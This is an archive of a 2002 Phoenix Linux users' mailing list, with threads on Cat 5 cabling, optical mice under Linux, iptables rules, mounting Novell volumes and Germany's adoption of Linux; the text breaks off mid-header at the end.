http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 13:14:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 03 Jun 2002 09:14:16 -0400 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> Message-ID: <3CFB6BA8.4C39949@georgetoft.com> They also have some pretty cool terminators, too. George Tom Achtenberg wrote: > > Home Depot sells it by the foot > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:36:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:36:34 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <3CFAF5DA.F485739D@qwest.net> Message-ID: <3CFB8D02.4949E5A@earthlink.net> I'd go to Home Depot or Lowe's before the Shack! pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:35:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:35:12 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <200206021843.17079.voltage_spike@fastmail.fm> Message-ID: <3CFB8CB0.F0D3EBD9@earthlink.net> I've got a Logitech wireless optical with wheel running under Mandrake 8.1 and I love it. Beats a wire! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 15:56:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 08:56:01 -0700 Subject: iptables missing after reboot Message-ID: <3CFB9191.439F15F2@earthlink.net> After I rebooted my Mandrake 8.1 box, I was unable to get my laptop connected to the net. I did 'iptables --list' and it was empty. So I re-ran Mandrake Control Center and did the connection sharing thing and it was ok. Having to do that after a reboot just ain't right. Is there something (obviously) that I'm not having start up in the xinetd or rc.d area? pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 13:41:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Mon, 3 Jun 2002 09:41:53 -0400 Subject: cat 5 cable In-Reply-To: <021401c20af8$e77cd400$42c8a8c0@schnauzer> References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> Message-ID: <200206031633.g53GXbVr013534@mail.infinet-is.com> Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, and what it is used for? Bob eaton On Monday 03 June 2002 08:19 am, you wrote: > Home Depot sells it by the foot > > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 16:53:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Mon, 3 Jun 2002 09:53:39 -0700 Subject: cat 5 cable References: <20020603044004.47573.qmail@web21205.mail.yahoo.com> <021401c20af8$e77cd400$42c8a8c0@schnauzer> <200206031633.g53GXbVr013534@mail.infinet-is.com> Message-ID: <00f601c20b1f$3632b620$d701870a@jeffbarker> Ethernet Cable... It's used to connect computers together on a network. :) Or hanging yourself if you're feeling down. ----- Original Message ----- From: "Robert N. Eaton" To: Sent: Monday, June 03, 2002 6:41 AM Subject: Re: cat 5 cable | Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, | and what it is used for? | | Bob eaton | | | On Monday 03 June 2002 08:19 am, you wrote: | > Home Depot sells it by the foot | > | > | > ----- Original Message ----- | > From: "robert jorgenson" | > To: | > Sent: Sunday, June 02, 2002 9:40 PM | > Subject: cat 5 cable | > | > | > does anyone know a place in town to get about 75-100 | > feet of cat 5 cable fairly cheap? or if anyone has a | > spare cable lying around they arent using i would be | > willing to buy it off you :) | > | > __________________________________________________ | > Do You Yahoo!? | > Yahoo! - Official partner of 2002 FIFA World Cup | > http://fifaworldcup.yahoo.com | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | > post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | > | > | > --- | > Outgoing mail is certified Virus Free. | > Checked by AVG anti-virus system (http://www.grisoft.com). | > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 | > | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | > post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:01:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 3 Jun 2002 10:01:03 -0700 Subject: cat 5 cable In-Reply-To: <200206031633.g53GXbVr013534@mail.infinet-is.com> Message-ID: Cat 5 cable is what you use to make ethernet cables. Cat 5 supports standard ethernet (10Mbits/sec transfer rate) and fast ethernet (100Mbits/sec transfer rate). Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Robert N. Eaton Sent: Monday, June 03, 2002 6:42 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: cat 5 cable Could someone, he asked plaintively, enlighten me as to what cat 5 cable is, and what it is used for? Bob eaton On Monday 03 June 2002 08:19 am, you wrote: > Home Depot sells it by the foot > > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 02, 2002 9:40 PM > Subject: cat 5 cable > > > does anyone know a place in town to get about 75-100 > feet of cat 5 cable fairly cheap? or if anyone has a > spare cable lying around they arent using i would be > willing to buy it off you :) > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.368 / Virus Database: 204 - Release Date: 5/31/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 16:56:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 09:56:47 -0700 Subject: cat 5 cable In-Reply-To: References: Message-ID: <200206030956.47938.voltage_spike@fastmail.fm> On Monday 03 June 2002 10:01 am, Gilbert T. Gutierrez, Jr. wrote: > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > (100Mbits/sec transfer rate). Isn't it also used for gigabit networking? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:15:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 10:15:10 -0700 Subject: cat 5 cable References: <200206030956.47938.voltage_spike@fastmail.fm> Message-ID: <3CFBA41E.32C4AE95@qwest.net> That would be Cat5E <-- Enhanced Cat5 can do up to 300MHz vs 100MHz for Cat5. It can be used for GigE, but the range is pretty short, about 1/3 the length that you could do 100Mb Ethernet. > > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > > (100Mbits/sec transfer rate). > > Isn't it also used for gigabit networking? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:28:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 03 Jun 2002 10:28:39 -0700 Subject: Optical Mice and Linux In-Reply-To: <00c001c20a94$67b1ac50$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> Message-ID: <1023125319.12825.6.camel@CX868974-C> Using one right now, I am using the USB to PS2 converter that came with it and it works fine. On Sun, 2002-06-02 at 17:19, Dr.G wrote: > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > Optical Mice with thier linux distro? if so, how do you like it. I have a > KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > using two mice, my optical for my Win2K box and my POS intellimouse for my > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 3 Jun 2002 10:36:36 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <1023125319.12825.6.camel@CX868974-C> Message-ID: <012501c20b25$37c57c60$6501a8c0@drghastly> Well, assuming I just use a USB-PS/2 converter, what would I set my mouse up as under RH 7.3? I don't think I saw an option for Intellimouse Optical ...? ----- Original Message ----- From: "David Mandala" To: Sent: Monday, June 03, 2002 10:28 AM Subject: Re: Optical Mice and Linux > Using one right now, I am using the USB to PS2 converter that came with > it and it works fine. > > On Sun, 2002-06-02 at 17:19, Dr.G wrote: > > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > > Optical Mice with thier linux distro? if so, how do you like it. I have a > > KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 > > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > > using two mice, my optical for my Win2K box and my POS intellimouse for my > > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:46:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 3 Jun 2002 10:46:47 -0700 Subject: cat 5 cable In-Reply-To: <200206030956.47938.voltage_spike@fastmail.fm> Message-ID: I believe that you use Cat 6 for Giga Ethernet. I also understand that Cat 5E also will handle Giga Ethernet, but I do not know the restrictions. I have only done Giga Ethernet on Fiber so I don't know cable restrictions with copper. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan Kennelly Sent: Monday, June 03, 2002 9:57 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: cat 5 cable On Monday 03 June 2002 10:01 am, Gilbert T. Gutierrez, Jr. wrote: > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > (100Mbits/sec transfer rate). Isn't it also used for gigabit networking? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:58:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 3 Jun 2002 10:58:48 -0700 Subject: mounting novell volumes Message-ID: <200206031058.52521.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I booted up a novell machine using a bbc cd and I need to mount the novell volume (/dev/hda2) onto the tree so I can export it. The fdisk info says it is id 65 Novell Netware 386 Does anyone know how I can mount that? I tried the ncpfs module, but it doesn't work. nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N 5V5D6ElmVvifCzrLPF8nRyM= =d4n0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:55:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 03 Jun 2002 10:55:36 -0700 Subject: Optical Mice and Linux In-Reply-To: <012501c20b25$37c57c60$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <1023125319.12825.6.camel@CX868974-C> <012501c20b25$37c57c60$6501a8c0@drghastly> Message-ID: <1023126936.12825.12.camel@CX868974-C> On RH 7.2 I use the Microsoft IntelliMouse (PS/2) option. Then you can just go through the KVM. Cheers On Mon, 2002-06-03 at 10:36, Dr.G wrote: > Well, assuming I just use a USB-PS/2 converter, what would I set my mouse up > as under RH 7.3? I don't think I saw an option for Intellimouse Optical ...? > > > > ----- Original Message ----- > From: "David Mandala" > To: > Sent: Monday, June 03, 2002 10:28 AM > Subject: Re: Optical Mice and Linux > > > > Using one right now, I am using the USB to PS2 converter that came with > > it and it works fine. > > > > On Sun, 2002-06-02 at 17:19, Dr.G wrote: > > > Ok. So I have a rather pertinent question. Anyone use one of the > Microsoft > > > Optical Mice with thier linux distro? if so, how do you like it. I have > a > > > KVM set up right now but my Optical mouse is usb while the KVM requires > PS/2 > > > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > > > using two mice, my optical for my Win2K box and my POS intellimouse for > my > > > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 18:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 11:00:59 -0700 Subject: Optical Mice and Linux In-Reply-To: <012501c20b25$37c57c60$6501a8c0@drghastly> References: <1023125319.12825.6.camel@CX868974-C> <012501c20b25$37c57c60$6501a8c0@drghastly> Message-ID: <200206031100.59024.voltage_spike@fastmail.fm> On Monday 03 June 2002 10:36 am, Dr.G wrote: > Well, assuming I just use a USB-PS/2 converter, what would I set my mouse > up as under RH 7.3? I don't think I saw an option for Intellimouse > Optical ...? As I mentioned earlier, the USB and PS/2 communications are exactly the same. Assuming that you use /dev/mouse in your configuration files, then you would only need to update the symbolic link so that it points to /dev/psaux. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 18:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 11:07:37 -0700 Subject: Bundesregierung waehlt Linux Message-ID: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> IBM signs Linux deal with Germany You've all seen the SlashDot story probably. I big win, of course. Germany's Interior Minister, Otto Schilly, picked Linux to help cut costs and improve security in the nation's computer networks. The BBC article is here: http://news.bbc.co.uk/hi/english/business/newsid_2023000/2023127.stm But I liked the reference of one /. reader to the BbusinessWeek's interview of Microsoft's Richard Purcell, the man charged with heading up Microsoft's Trustworthy Computering Initiative. The interview ended with these two telling questions: Q: In January, Bill Gates sent a memo to staff emphasizing the importance of trustworthy computing. Was it a turning point? A: It's Bill's effort to put the focus of the company on one thing.... My job is to take that -- and Bill has given me this job very explicitly -- and transform the company into a different kind of company that produces products and services that are highly reliable, highly dependable, highly manageable, highly safe through security and privacy practices. Q: Critics would say you're not succeeding. Since the big announcement, a half- dozen security bugs have been found in products such as Internet Explorer, MSN Messenger. How do explain that? A: You can't issue a memo on Jan. 18 and, within two weeks or even two months, have introduced your entire product line that's consistent with that. Trustworthy computing, as I try to emphasize, is about process change, so that products can then be delivered as a result. And it's a very long-term vision -- 5, 10 years, maybe. The full interview is here - http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm So, how many businesses will be willing to wait on Microsoft when Linux is proving itself secure today? Dennis kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 3 Jun 2002 12:01:55 -0700 (MST) Subject: Update: Phoenix.pm: Dan Sugalski speaking June 20th (fwd) Message-ID: Additional info from the Phoenix Perl Mongers about an upcoming Open Source presentation: ---------- Forwarded message ---------- Date: Mon, 03 Jun 2002 11:41:17 -0700 From: Doug Miles To: phoenix-pm-list@happyfunball.pm.org Subject: Re: Phoenix.pm: Dan Sugalski speaking June 20th > Dan Sugalski of Parrot fame will be giving his "Parrot Internals" talk > on June 20th. This is part of a fund raising tour for The Perl > Foundation: http://use.perl.org/article.pl?sid=02/05/14/1757228 > > There will be a suggested donation of $50, however, it is not required. Here's some more info: The talk will be at 7:00pm. We'll have dinner beforehand. Send in your restaurant nominations. It should probably be close to downtown, because we will most likely have the talk at Bowne. Please reply directly to Doug Miles, doug.miles@bpxinternet.com , if you are interested. Phoenix Perl Mongers http://phoenix.pm.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 3 Jun 2002 14:01:55 -0500 (CDT) Subject: Bundesregierung waehlt Linux In-Reply-To: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> Message-ID: On Mon, 3 Jun 2002 dennisk@sahuaro.f2s.com wrote: > IBM signs Linux deal with Germany > > You've all seen the SlashDot story probably. I big win, of course. Germany's > Interior Minister, Otto Schilly, picked Linux to help cut costs and improve > security in the nation's computer networks. > What is interesting is GNUe has large developer base in Europe, specifically Austria and Germany. So I get to communicate with folks there a lot. In discussing this with them, what they all find funny is this is old news. German Parliment dictated some time ago that they would be move their servers to GNU/Linux. They even produced a roadmap that all servers would be converted by XXXX date. This announcement is merely that they have chosen a vendor. BTW: Those that like this move, please note that the FSF Europe played a major role in making it happen as part of their "Bundestux" initiative. ("Federal Tux") I find it interesting that American news agencies really aren't reporting much on this, I believe the Slashdot story is from BBC. -Derek From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:15:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 03 Jun 2002 12:15:44 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> Message-ID: <3CFBC060.5E3C81EA@leml.asu.edu> Dennis Kibbe wrote: > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > Penquin". > > Now down to the field for our pre-game show. > > ... ;-) thanks for that... EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 12:45:58 -0700 (MST) Subject: Bundesregierung waehlt Linux In-Reply-To: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> Message-ID: Am 03. Jun, 2002 schwätzte dennisk@sahuaro.f2s.com so: > The full interview is here - > http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm I think the following is interesting: "To find those solutions, we all have a role to play. Individuals have to take more charge of their information. Commerce is going to have to get used to having a more open disclosure model, asking for permission, following those permissions more reliably than they have in the past. Government's going to have to figure out what its role is in terms of being open -- but at the same time, not disclosing too much information, [thus harming] their citizens." It seems very un-m$ to give consumers control over their data. I hope they follow through with this. The next question in the interview covers what he says m$ is working on. Other than the last two questions I don't see anything in the interview about secure apps. ciao, der.hans -- # https://www.LuftHans.com/ # Help Jerry Lewis stamp out M$...oops that's MDA - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:37:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 12:37:58 -0700 Subject: Bundesregierung waehlt Linux In-Reply-To: References: Message-ID: <1023133078.3cfbc59667c26@webmail.freedom2surf.net> Quoting Derek Neighbors : > On Mon, 3 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > IBM signs Linux deal with Germany > > > > You've all seen the SlashDot story probably. I big win, of course. > Germany's > > Interior Minister, Otto Schilly, picked Linux to help cut costs and improve > > > security in the nation's computer networks. > > > > What is interesting is GNUe has large developer base in Europe, > specifically Austria and Germany. So I get to communicate with folks > there a lot. In discussing this with them, what they all find funny is > this is old news. > > German Parliment dictated some time ago that they would be move their > servers to GNU/Linux. They even produced a roadmap that all servers would > be converted by XXXX date. This announcement is merely that they have > chosen a vendor. > > BTW: Those that like this move, please note that the FSF Europe played a > major role in making it happen as part of their "Bundestux" initiative. > ("Federal Tux") > > I find it interesting that American news agencies really aren't reporting > much on this, I believe the Slashdot story is from BBC. > > -Derek I was under the impression that this opened up the rest of the German government to Linux since it comes from Schilly. No mention of the Bundestag in the article. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 12:41:39 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <3CFBC060.5E3C81EA@leml.asu.edu> References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> <3CFBC060.5E3C81EA@leml.asu.edu> Message-ID: <1023133299.3cfbc673c6f96@webmail.freedom2surf.net> Quoting "John (EBo) David" : > Dennis Kibbe wrote: > > > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > > Penquin". > > > > Now down to the field for our pre-game show. > > > > ... > > ;-) thanks for that... > > EBo -- Your welcome. Just ignore the fact that I can't spell penguin. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 20:39:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 03 Jun 2002 13:39:47 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> <3CFBC060.5E3C81EA@leml.asu.edu> <1023133299.3cfbc673c6f96@webmail.freedom2surf.net> Message-ID: <3CFBD413.2F22C35B@leml.asu.edu> dennisk@sahuaro.f2s.com wrote: > > Quoting "John (EBo) David" : > > > Dennis Kibbe wrote: > > > > > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > > > > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > > > Penquin". > > > > > > Now down to the field for our pre-game show. > > > > > > ... > > > > ;-) thanks for that... > > > > EBo -- > > Your welcome. > > Just ignore the fact that I can't spell penguin. Dennis I would be the LAST person to give you a hard time about spelling... I once got 10% taken off of a geometry homework for spelling. The teacher said he wanted to make a point and it would not affect my grade anyway. He did make a point, and I still tell the story to this day ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 20:50:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 16:50:43 -0400 Subject: IP tables lookup Message-ID: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Anyone know off hand how to look up the prerouting and postrounting rules on iptables? I've been trying iptables -L NAT and / or iptables -L PREROUTING. but it keeps telling me no such table. Can someone tell me what I'm doing wrong? (btw yes I know Prerouting isn't actually a table i'm just getting desprate. ). Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:09:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Mon, 03 Jun 2002 14:09:59 -0700 Subject: mounting novell volumes References: <200206031058.52521.plug@the-arcanum.org> Message-ID: <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> Nathan, I haven't heard of a non-Netware method of mounting Netware volumes. Is the server unbootable? FWIW, the best non-Novell tools for Netware that I know of come from: http://www.PortlockSoftware.com - http://www.ontrack.com - http://www.jrbsoftware.com -- large number of "free" utils plus more that cost. Of course, searching through support.novell.com and developer.novell.com yields lots of free tools and info. BTW, if the server *isn't* toasted and you're running NW 5.x or 6 there's support for NFS Could you elaborate on the situation? Steve Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I booted up a novell machine using a bbc cd and I need to mount the novell > volume (/dev/hda2) onto the tree so I can export it. > The fdisk info says it is id 65 Novell Netware 386 > > Does anyone know how I can mount that? I tried the ncpfs module, but it > doesn't work. > > nathan > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > 5V5D6ElmVvifCzrLPF8nRyM= > =d4n0 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:09:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl 